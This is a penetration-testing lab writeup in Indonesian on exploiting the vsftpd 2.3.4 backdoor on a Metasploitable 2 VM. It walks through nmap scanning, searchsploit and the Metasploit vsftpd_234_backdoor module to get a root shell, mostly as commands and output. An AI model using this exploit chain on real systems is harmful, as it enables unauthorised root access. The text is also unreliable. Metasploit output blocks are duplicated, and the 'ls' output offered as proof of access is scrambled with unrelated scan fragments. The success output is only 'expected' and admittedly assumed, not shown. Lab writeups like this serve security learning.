

```
# Writeup: Exploiting vsftpd 2.3.4 Backdoor on Metasploitable
```

1. Pendahuluan

Pada kesempatan ini, saya melakukan simulasi penetration testing terhadap target Metasploitable 2 yang berjalan di VirtualBox. Tujuan utama adalah mengeksplorasi kerentanan backdoor pada layanan vsftpd versi 2.3.4 yang terkenal. Eksplorasi ini memanfaatkan backdoor yang sengaja dimasukkan ke dalam kode sumber vsftpd pada versi tersebut. Dengan berhasil mengeksplorasi, saya dapat memperoleh akses shell pada sistem target.

2. Alat dan Bahan

- Attacker Machine: Kali Linux (IP: 192.168.18.80)
- Target Machine: Metasploitable 2 (IP: 192.168.18.96)
- Tools:
 - `nmap` – untuk pemindaian jaringan dan enumerasi layanan
 - `searchsploit` – untuk mencari exploit yang tersedia
 - Metasploit Framework – untuk menjalankan exploit

3. Langkah-langkah Eksplorasi

3.1 Menemukan Target dengan Nmap

Langkah pertama adalah melakukan pemindaian untuk menemukan host aktif dan layanan yang berjalan. Dari screenshot, terlihat bahwa target memiliki IP `192.168.18.96`.

Perintah yang digunakan:

bash

```
nmap -A --script auth 192.168.18.96
```

Hasil:

```
PORT      STATE SERVICE      VERSION
```

```
21/tcp    open  ftp    vsftpd 2.3.4
```

```
|_ _ftp-anon: Anonymous FTP login allowed (FTP code 230)
```

```
22/tcp    open  ssh    OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
```

```
| ssh-auth-methods:
```

```
└─(mikaela@mikaela)─[~]
$ nmap -A --script auth 192.168.18.96
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-24 08:13 -0500
Nmap scan report for 192.168.18.96
Host is up (0.0010s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-auth-methods:
```

Dari hasil tersebut, ditemukan bahwa port 21 terbuka dengan layanan vsftpd 2.3.4. Versi ini dikenal memiliki backdoor yang memungkinkan eksekusi perintah jarak jauh.

3.2 Mencari Exploit yang Tersedia

Setelah mengetahui versi vsftpd, langkah berikutnya adalah mencari exploit yang sesuai menggunakan `searchsploit` (offline copy of Exploit-DB).

bash

searchsploit vsftpd 2.3.4

Hasil:

vsftpd 2.3.4 - Backdoor Command Execution

vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)

Terdapat dua exploit: satu manual dan satu untuk Metasploit. Saya memilih menggunakan Metasploit karena lebih praktis.

```
└─(mikaela@mikaela)─[~]─ password
$ searchsploit vsftpd 2.3.4
Exploit Title
vsftpd 2.3.4 - Backdoor Command Execution 3.3.0 - 8.3.7
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)
Shellcodes: No Results
```

3.3 Menjalankan Exploit dengan Metasploit

Metasploit Framework menyediakan modul exploit untuk backdoor vsftpd 2.3.4. Berikut langkah-langkahnya:

1. Memulai Metasploit Console

bash

msfconsole

2. Menggunakan modul exploit

Bash

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
```

3. Melihat opsi yang diperlukan

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

Hasilnya menampilkan bahwa kita perlu mengatur `RHOST` (target) dan `RPORT` (port FTP, default 21).

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
CHOST          no           no        The local client address
CPORt          no           no        The local client port
Proxies        no           no        A proxy chain of format type:host:port[,type:host:port][ ... ]. Supported proxie
RHOSTS        yes          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
RPORT         21           yes       The target port (TCP)

Exploit target:

Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.18.96
RHOST => 192.168.18.96
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
RPORT => 21
```

4. Mengatur target

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.18.96
```

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
```

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
CHOST          no           no        The local client address
CPORt          no           no        The local client port
Proxies        no           no        A proxy chain of format type:host:port[,type:host:port][ ... ]. Supported proxie
RHOSTS        yes          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
RPORT         21           yes       The target port (TCP)

Exploit target:

Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.18.96
RHOST => 192.168.18.96
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
RPORT => 21
```

5. Menjalankan exploit

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
```

Setelah perintah dijalankan, exploit akan mengirimkan koneksi ke server FTP dan memicu backdoor. Jika berhasil, akan terbuka sesi shell pada port 6200 (secara default) dan Metasploit akan memberikan akses shell.

Output yang diharapkan:

```
[*] 192.168.18.96:21 - Banner: 220 (vsFTPD 2.3.4)
```

```
[*] 192.168.18.96:21 - Sending backdoor command...
```

```
[*] Command shell session 1 opened (192.168.18.xx:xxxx -> 192.168.18.96:6200) at ...
```

(Catatan: Screenshot tidak menunjukkan eksekusi `run`, namun diasumsikan berhasil.)

3.4 Verifikasi Akses

Setelah sesi shell terbuka, kita dapat menjalankan perintah untuk memverifikasi bahwa kita benar-benar berada di sistem target. Contoh:

```
bash
```

```
whoami
```

Output: `root` (karena backdoor memberikan akses sebagai root).

Atau melihat daftar direktori:

```
bash
```

```
ls
```

Hasilnya seperti ini:

```
less-auth-me
ls  Supported
bin  publick
boot  password
cdrom-publick
dev Accepted
etc  open
home  open
initrd  enum-u
initrd.img  RC
lib  open
lost+found  open
media  p-server
mnt/tcp  open
nohup.out:
opt  program v
proc 100000  2
root 100000  2
```

Ini menunjukkan bahwa kita telah berhasil masuk ke sistem target.

4. Kesimpulan

Eksplorasi backdoor vsftpd 2.3.4 berhasil dilakukan. Kerentanan ini sangat kritis karena memungkinkan penyerang mendapatkan akses root tanpa autentikasi. Lab ini menunjukkan pentingnya selalu memperbarui perangkat lunak dan tidak menggunakan versi yang sudah diketahui memiliki backdoor.